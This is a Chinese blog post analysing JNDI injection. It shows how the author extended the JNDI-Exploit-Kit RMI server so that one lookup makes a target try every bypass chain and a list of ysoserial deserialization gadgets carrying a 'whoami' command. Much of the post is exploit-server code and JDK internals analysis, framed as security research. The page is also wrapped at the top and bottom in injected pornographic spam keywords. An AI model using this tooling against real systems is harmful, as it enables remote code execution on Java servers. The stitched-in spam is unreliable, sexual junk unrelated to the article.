<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      JNDI漏洞利用探索

      最近學習了師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JNDI在利用過程我想到了兩個問題。

      • 測試每一個JNDI Bypass 利用鏈都需要手動更改URL很不方便,能否我去請求一個地址,讓目標將我所有的鏈跑一遍?
      • JNDI利用過程中可以通過反序列化利用,能否自動化探測反序列化利用鏈?

      自動測試Bypass 利用鏈

      為了讓這種方式更加通用,我們首先考慮的是JDK原生的實現ObjectFactory的類,那么我注意到了下面幾個類。

      • com.sun.jndi.rmi.registry.RegistryContextFactory
      • com.sun.jndi.ldap.LdapCtxFactory

      RegistryContextFactory

      調用分析

      通過getURLs從Reference獲取url列表并封裝為數組,URLsToObject中對數組中的URL列表發起RMI請求,所以RegistryContextFactory滿足我們的需求。

      public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
           //判斷是否為引用對象并且factoryClassname為RegistryContextFactory
              if (!isRegistryRef(var1)) {
                  return null;
              } else {
                  //從引用對象中獲取URL列表并循環發起調用
                  Object var5 = URLsToObject(getURLs((Reference)var1), var4);
                  if (var5 instanceof RegistryContext) {
                      RegistryContext var6 = (RegistryContext)var5;
                      var6.reference = (Reference)var1;
                  }
                  return var5;
              }
          }
      • getURLs獲取URL必須滿足RefAddr是StringRefAddr類型且Type屬性為URL才會保存。
      private static String[] getURLs(Reference var0) throws NamingException {
              int var1 = 0;
              String[] var2 = new String[var0.size()];
              Enumeration var3 = var0.getAll();
              //從RefAddr中獲取url并保存到數組中
              while(var3.hasMoreElements()) {
                  RefAddr var4 = (RefAddr)var3.nextElement();
                  //只有RefAddr是StringRefAddr類型,且Type屬性為URL才會保存
                  if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
                      var2[var1++] = (String)var4.getContent();
                  }
              }
              if (var1 == 0) {
                  throw new ConfigurationException("Reference contains no valid addresses");
              } else if (var1 == var0.size()) {
                  return var2;
              } else {
                  //返回URL數組
                  String[] var5 = new String[var1];
                  System.arraycopy(var2, 0, var5, 0, var1);
                  return var5;
              }
          }
      • URLsToObject中創建rmiURLContextFactory對象并調用getObjectInstancegetObjectInstance中判斷傳入的object類型如果是數組則調用getUsingURLs.
      private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
              rmiURLContextFactory var2 = new rmiURLContextFactory();
              return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
          }
      
      
      public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
              if (var1 == null) {
                  return new rmiURLContext(var4);
              } else if (var1 instanceof String) {
                  return getUsingURL((String)var1, var4);
              } else if (var1 instanceof String[]) {
                  //數組類型
                  return getUsingURLs((String[])((String[])var1), var4);
              } else {
                  throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
              }
          }
      • getUsingURLs創建rmiURLContext并循環調用lookup發起RMI調用直到獲取一個對象并返回。
      private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
              if (var0.length == 0) {
                  throw new ConfigurationException("rmiURLContextFactory: empty URL array");
              } else {
                  rmiURLContext var2 = new rmiURLContext(var1);
                  try {
                      NamingException var3 = null;
                      int var4 = 0;
                      while(var4 < var0.length) {
                          try {
                              Object var5 = var2.lookup(var0[var4]);
                              return var5;
                          } catch (NamingException var9) {
                              var3 = var9;
                              ++var4;
                          }
                      }
                      throw var3;
                  } finally {
                      var2.close();
                  }
              }
          }

      利用分析

      通過RegistryContextFactory利用只能使用rmi協議發起請求,所以目前只能用這種方式檢測rmi相關的利用,在Orange師傅的JNDI- Exploit- Kit工具中集成了一部分關于RMI的利用鏈,其中也包含了TomcatGROOVY的bypass,當然Groovy的執行也依賴Tomcat。工具運行后會生成一些RMI的URL,我們可以將RegistryContextFactory也加到利用鏈中。

      RMIRefServer中包含了RMI處理的邏輯,因此可以把RegistryContextFactory引用也注冊進去。

      /*
           * Fuzz All Bypass
           * Created by 藏青
           */
          public ResourceRef execAll() throws RemoteException, NamingException{
              ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                      true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
              //Mapper.references中保存了隨機生成的rmi名稱和利用方式的關系
              for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
                  String mapKey = entry.getKey();
                  String mapValue = entry.getValue();
                  //如果是RegistryContextFactory則跳過,否則會造成遞歸查詢
                  if(!mapValue.equals("BypassTestAll")){
                      ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
                  }
                  }
              return ref;
          }

      RMIRefServer#handleRMI中會根據請求的url找到對應的處理方法生成引用對象并返回,所以我們只要將我們構造的execAll方法也加入到if判斷中即可。

      private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
              int method = ois.readInt(); // method
              ois.readLong(); // hash
              if ( method != 2 ) { // lookup
                  return false;
              }
              //獲取rmi請求的對象名稱,這里是隨機生成的額名稱
              String object = (String) ois.readObject();
              System.out.println(getLocalTime() + " [RMISERVER]  >> Is RMI.lookup call for " + object + " " + method);
              String cpstring = this.classpathUrl.toString();
           //根據取出的名稱從Mapper.references中取出利用方式對應的名稱
              String reference = Mapper.references.get(object);
              if (reference == null) {
                  System.out.println(getLocalTime() + " [RMISERVER]  >> Reference that matches the name(" + object + ") is not found.");
                  //return false;
                  cpstring = "BypassByGroovy";
              }
              URL turl = new URL(cpstring + "#" + reference);
              out.writeByte(TransportConstants.Return);// transport op
              try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
                  oos.writeByte(TransportConstants.NormalReturn);
                  new UID().write(oos);
                  //創建ReferenceWrapper包裝類
                  ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
              //  根據名稱不同調用不同的方法得到對應的引用對象
                  if (reference.startsWith("BypassByEL")){
                      System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByEL.");
                      Reflections.setFieldValue(rw, "wrappee", execByEL());
                  } else if (reference.startsWith("BypassByGroovy")){
                      System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByGroovy.");
                      Reflections.setFieldValue(rw, "wrappee", execByGroovy());
                  }
                  //將我們的構造的execAll方法加到判斷中
                  else if (reference.startsWith("BypassTestAll")){
                      System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassTestAll.");
                      Reflections.setFieldValue(rw, "wrappee", execAll());
                  }
                  else {
                      System.out.println(
                              String.format(
                                      getLocalTime() + " [RMISERVER]  >> Sending remote classloading stub targeting %s",
                                      new URL(cpstring + reference.concat(".class"))));
                      Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
                  }
                  Field refF = RemoteObject.class.getDeclaredField("ref");
                  refF.setAccessible(true);
                  refF.set(rw, new UnicastServerRef(12345));
                  oos.writeObject(rw);
                  oos.flush();
                  out.flush();
              }
              return true;
          }

      由于util.Mapper#references中包含了引用關系,所以這里也需要做下更改。

      static {
      ...
         references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
      instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
      }

      當然我們也可以把之前分析的一些利用鏈也加進去,但是這并不是我們本片文章的重點,就不分析了。添加并啟動后,可以看到我們我們添加的利用鏈地址。

      在tomcat中請求我們創建的registry會將所有的利用鏈跑一遍,如果利用失敗則會導致異常進入下一個利用鏈,直到跑成功獲取對象并返回。

      我們也可以從server端進行驗證,因為我這里使用的tomcat8所以跑到el表達式后利用成功并返回。

      棧溢出

      忽然想到如果我們在引用中的地址也是RegistryContextFactory那不就會導致遞歸的lookup查詢,是否會產生什么問題。服務端代碼如下:

      Registry registry = LocateRegistry.createRegistry(1099);
              Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
              ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
              ReferenceWrapper wrapper = new ReferenceWrapper(ref);
              registry.bind("Foo", wrapper);

      經過測試遞歸查詢會觸發tomcat的棧溢出異常,但是并不會對程序的使用產生影響。

      LdapCtxFactory

      LdapCtxFactoryRegistryContextFactory相對應,具體的過程不分析了,最終是通過LdapCtxFactory#getUsingURL來執行,但是只會獲取到DirContext并沒有調用Lookup方法,所以似乎不能利用。

      private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
              Object var2 = null;
              LdapURL var3 = new LdapURL(var0);
              String var4 = var3.getDN();
              String var5 = var3.getHost();
              int var6 = var3.getPort();
              String var8 = null;
              String[] var7;
              if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
                  String var9 = var3.getScheme() + "://";
                  String[] var10 = new String[var7.length];
                  String var11 = var3.getQuery();
                  String var12 = var3.getPath() + (var11 != null ? var11 : "");
                  for(int var13 = 0; var13 < var7.length; ++var13) {
                      var10[var13] = var9 + var7[var13] + var12;
                  }
                  var2 = getUsingURLs(var10, var1);
                  ((LdapCtx)var2).setDomainName(var8);
              } else {
                  var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
                  ((LdapCtx)var2).setProviderUrl(var0);
              }
              //返回DirContext對象
              return (DirContext)var2;
          }

      自動測試反序列化利用鏈

      通過對問題一的分析,我們現在只能利用RMI協議來協助我們一次性發起多個RMI調用,目前的大多數工具都是基于Ldap來進行反序列化利用的,不過在RMI中也可以通過反序列化利用。

      首先我們要利用的場景是去通過RMI攻擊客戶端,所以可以利用ysoserial#JRMPListener模塊來利用,它構建了一個JRMP監聽,當客戶端發起請求時會構建一個異常對象BadAttributeValueExpException,并在這個異常對象的val屬性中放入我們要構造好的惡意對象。

      out.writeByte(TransportConstants.Return);// transport op
              ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
              //寫入異常標識
              oos.writeByte(TransportConstants.ExceptionalReturn);
              new UID().write(oos);
              //構建BadAttributeValueExpException異常對象,并在val屬性中加入惡意對象。
              BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
              Reflections.setFieldValue(ex, "val",payload );
              oos.writeObject(ex);

      當客戶端發起請求時,會在StreamRemoteCall#executeCall中通過判斷returnType是否為TransportConstants#ExceptionalReturn來決定是否反序列化,也就是只有返回出現異常時才會對異常對象進行反序列化。

      switch (returnType) {
              case TransportConstants.NormalReturn:
                  break;
              case TransportConstants.ExceptionalReturn:
                  Object ex;
                  try {
                      //當返回類型為ExceptionalReturn則進行反序列化
                      ex = in.readObject();
                  } catch (Exception e) {
                      throw new UnmarshalException("Error unmarshaling return", e);
                  }
                  // An exception should have been received,
                  // if so throw it, else flag error
                  if (ex instanceof Exception) {
                      exceptionReceivedFromServer((Exception) ex);
                  } else {
                      throw new UnmarshalException("Return type not Exception");
                  }
                  // Exception is thrown before fallthrough can occur
              default:
                  if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                      Transport.transportLog.log(Log.BRIEF,
                          "return code invalid: " + returnType);
                  }
                  throw new UnmarshalException("Return code invalid");
              }

      但是由于我們構建了一個異常對象,在執行過程中會拋出異常。而我們在分析RegistryContextFactory時說過,只有當返回正常時才會停止,返回異常會繼續請求其他的RMI地址,所以如果這樣利用,只能把所有的反序列化利用鏈Fuzz一遍,我們并不知道哪個利用鏈可用。

      失敗嘗試一

      分析在StreamRemoteCall#executeCall的利用過程我發現,只要設置了TransportConstants#ExceptionalReturn都會進行反序列化,如果我們僅僅設置了這個字段,但是傳入的是只是我們的惡意對象,能否繞過此處的報錯?所以我對JRMPListener做了如下更改。

      但是在反序列化結束后會判斷我們傳入的是否為異常對象,如果不是也會拋異常。

      失敗嘗試二

      繼續分析發現RegistryImpl_Stub#lookup中也會進行反序列化,但是會將反序列化的結果轉成Remote類型,如果我們返回的不是Remote的實現類也會導致異常。

      利用分析

      雖然我們不能直接通過是否繼續請求來判斷利用鏈存在,但是還是可以通過DNSLog的方式進行判斷。我們可以在每次請求后獲取DNSLog的結果,如果有返回值則代表利用鏈可用。

      但是在編寫好代碼測試時驚喜的發現,在利用失敗捕獲異常時只會捕獲NamingException類型的異常。

      如果利用鏈沒找到,會拋出CommunicationException異常,而這個異常是NamingException的子類,因此會被捕獲

      如果利用成功,拋出的是其他類型的異常,則不會被捕獲。

      但是這里還有一個問題,有些利用類存在,但是由于JDK版本或者其他問題導致不能利用,比如CC1,這個時候也會拋出其他異常,但是并不能觸發漏洞,所以在自動化探測的時候要將這些類去除掉。

      大概測了下在CC鏈中CC1,CC3,CC7都不能使用。CC1CC3都是因為JDK版本過高無法使用可以理解,但是在CC7中明明可以執行成功但是還是會返回CommunicationException異常。

      其他的利用鏈也先不測試了,這里只大致說下思路。通過這種實現已經可以達到自動化探測部分利用鏈了。最終我們服務端請求中最后一個請求的gadget就是存在的利用鏈。

      代碼實現主要是在JNDI-Exploit-Kit基礎上做了一點點小改進,主要是在if判斷中繼續加上了execAllGadgat方法。

      execAllGadgat方法中遍歷已經添加的利用鏈并添加到引用對象中。

      public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};  
      public Object execAllGadgat() {
              ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                      true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
              for(String gadget:gadgets){
                  ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
              }
              return ref;
          }

      由于我們的Payload并沒有在references中添加,因此從Map中會獲取不到,所以我這里加了一個判斷,當object以ser開頭,則表示是通過反序列化利用,給reference賦值。

      最后再加上一個引用判斷,如果以serial開頭則取出調用鏈名稱獲取惡意對象直接寫入。

      public Object execGadgets(String className) throws Exception {
              Class clazz = Class.forName("ysoserial.payloads."+className);
              ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
              final Object objBefore = payload.getObject("whoami", "exec_global");
              return objBefore;
          }

      總結

      雖然這次的小發現對于JNDI漏洞的利用來說可能有些畫蛇添足,通過這幾天的研究也發現了自己對RMI請求理解上的不足,最后對這種利用方式做一個總結。

      • 由于我們要傳入一個ObjectFactory類名,所以需要一個Reference對象,但是JDK自帶的只有LinkRef,不能傳遞ObjectFactory的類名,所以這里還是使用了tomcat中的ResourceRef,所以還是有些依賴Tomcat。
      • 由于LdapCtxFactory最終沒有調用Lookup方法,因此目前只能通過RMI協議來進行自動化檢測

      • 由于CC1,CC3,CC7無法通過返回的異常類型判斷是否存在,所以不能檢測這幾條鏈。目前我只測了CC鏈,其他類型的利用鏈是否有異常未測試

      posted @ 2022-02-19 16:57  白鷺鷺鷺  閱讀(326)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 五月综合激情婷婷六月| 国产首页一区二区不卡| 欧美人成在线播放网站免费| 亚洲精品成人一二三专区| 色窝窝免费一区二区三区| 日本无遮挡真人祼交视频| 四虎影视一区二区精品| 无码国内精品久久人妻蜜桃| 亚洲老熟女一区二区三区| 欧美日韩精品一区二区三区高清视频| 丝袜美腿视频一区二区三区| 91精品国产色综合久久不| 这里只有精品免费视频| 九九热在线精品视频99| 亚洲深夜精品在线观看| 十堰市| 国产午夜美女福利短视频| 国产福利社区一区二区| 国产一区日韩二区三区| 一区二区三区四区五区自拍| 亚洲免费视频一区二区三区 | 777奇米四色成人影视色区| 日本肥老妇色xxxxx日本老妇 | 国产成人精品久久性色av| 这里只有精品在线播放| 午夜福利日本一区二区无码| 成人精品一区二区三区四| 强奷白丝美女在线观看| 亚洲综合一区二区三区| 国产精品视频不卡一区二区| 午夜综合网| 在线亚洲午夜片av大片| 国产综合久久99久久| 真人作爱90分钟免费看视频| 成人免费在线播放av| 欧美交A欧美精品喷水| 精品国产中文字幕在线| 伊人久久大香线蕉av色婷婷色| 精品欧美一区二区三区久久久 | 亚洲aⅴ综合av国产八av| 亚洲国模精品一区二区|